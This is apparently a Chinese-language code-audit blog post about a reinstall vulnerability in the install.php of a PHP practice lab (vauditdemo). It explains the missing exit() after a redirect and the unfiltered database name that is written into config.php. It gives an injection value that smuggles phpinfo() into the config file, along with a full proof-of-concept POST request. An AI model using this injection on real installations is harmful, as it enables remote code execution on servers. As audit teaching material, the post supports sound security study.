本文最后更新于:2019 , 八月 19日 星期一, 8:49 晚上

简介

一般在PHP源代码程序都有一个初始安装的功能,如果相关代码没有对参数进行严禁的过滤
可能会导致攻击者访问安装页面:install.php,或者构造数据包,对网站进行重写安装
从而危害网站安全,甚至直接拿到服务器权限

分析

  • install/install.php文件:
// 检测install.lock文件是否存在
if ( file_exists($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock') ) {
    header( "Location: ../index.php" ); // 存在则跳转到index.php页面
}

require_once '../header.php'; // 包含header.php

可以发现这里存在跳转完,并没有执行exit(),存在可能跳转完,该脚本继续执行的可能,导致重装漏洞的发生

接着往下看,在包含了./header.php

分别检查了文件是否可写,目录是否存在,数据库链接,登录名,以及数据库名

然后就进行了数据库的创建

mysql_query( "CREATE DATABASE $dbname", $con ) or die ( mysql_error() );

    $str_tmp="<?php\r\n";
    $str_end="?>";
    $str_tmp.="\r\n";
    $str_tmp.="error_reporting(0);\r\n";
    $str_tmp.="\r\n";
    $str_tmp.="if (!file_exists(\$_SERVER[\"DOCUMENT_ROOT\"].'/sys/install.lock')){\r\n\theader(\"Location: /install/install.php\");\r\nexit;\r\n}\r\n";
    $str_tmp.="\r\n";
    $str_tmp.="include_once('../sys/lib.php');\r\n";
    $str_tmp.="\r\n";
    $str_tmp.="\$host=\"$dbhost\"; \r\n";
    $str_tmp.="\$username=\"$dbuser\"; \r\n";
    $str_tmp.="\$password=\"$dbpass\"; \r\n";
    $str_tmp.="\$database=\"$dbname\"; \r\n";
    $str_tmp.="\r\n";
    $str_tmp.="\$conn = mysql_connect(\$host,\$username,\$password);\r\n";
    $str_tmp.="mysql_query('set names utf8',\$conn);\r\n";
    $str_tmp.="mysql_select_db(\$database, \$conn) or die(mysql_error());\r\n";
    $str_tmp.="if (!\$conn)\r\n";
    $str_tmp.="{\r\n";
    $str_tmp.="\tdie('Could not connect: ' . mysql_error());\r\n";
    $str_tmp.="\texit;\r\n";
    $str_tmp.="}\r\n";
    $str_tmp.="\r\n";
    $str_tmp.="session_start();\r\n";
    $str_tmp.="\r\n";
    $str_tmp.=$str_end;

    $fp=fopen( "../sys/config.php", "w" );
    fwrite( $fp, $str_tmp );
    fclose( $fp );

    //创建表
    mysql_select_db( $dbname, $con );
    mysql_query( "set names 'utf8'", $con );
    //导入数据库
    $sql=file_get_contents( "install.sql" );
    $a=explode( ";", $sql );
    foreach ( $a as $b ) {
        mysql_query( $b.";" );
    }
    mysql_close( $con );
    file_put_contents($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock', 'virink');
    echo "<script>if(!alert('安裝成功')){window.location.href='../index.php';}</script>";
    exit;

在这里我们可以发现,创建数据库名,然后系统配置信息,将配置信息写入到config.php文件

因为在界面中,数据库名是我们可控的

所以我们需要进入写好的配置文件,查看下是否对数据库名进行过滤

  • config.php文件
error_reporting(0);

if (!file_exists($_SERVER["DOCUMENT_ROOT"] . '/sys/install.lock')) {
    header("Location: /install/install.php");
    exit;
}

include_once '../sys/lib.php';

$host = "localhost";
$username = "root";
$password = "root";
$database = "vauditdemo";

$conn = mysql_connect($host, $username, $password);
mysql_query('set names utf8', $conn);
mysql_select_db($database, $conn) or die(mysql_error());
if (!$conn) {
    die('Could not connect: ' . mysql_error());
    exit;
}

session_start();

可以看到该配置文件,并没有对数据库名进行过滤

所以我们这里可以构造一下闭合语句

# install.php文件
// exp;-- -";phpinfo();//
mysql_query( "CREATE DATABASE $dbname", $con ) or die ( mysql_error() );

# config.php文件
$database = "exp;-- -";phpinfo();//

这里使用-- -注销掉后面的SQL语句,并使用";闭合掉原始的内容

最后在//注释掉原来文件中的";

这样就可以成功将phpinfo()插入到数据库名中,又不影响正常的SQL语句的执行

Code

我们在这里测试的是,已经安装好后的靶场

我们使用Burpinstall/install.php进行访问

会发现它直接跳转到index.php页面,所以我们在这里访问的时候,直接修改POST数据包

重放一次数据库安装的数据库,并在其中导入我们的恶意代码

  • Poc
POST /install/install.php HTTP/1.1
Host: vauditdemo.top
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://vauditdemo.top/install/install.php
Cookie: PHPSESSID=8ts4cj6f4anevemrv8nbct6lh1
X-Forwarded-For: 8.8.8.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 84

dbhost=localhost&dbuser=root&dbpass=root&dbname="exp;-- -";phpinfo();//&Submit=%E5%AE%89%E8%A3%9D

可以看到我们上面正常安装了
接下来就是测试漏洞是否能被我们利用了



参考链接

Bad Apple


代码审计   PHP      PHP代码审计

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

命令执行
梯控模糊搜索软件--跳过弹窗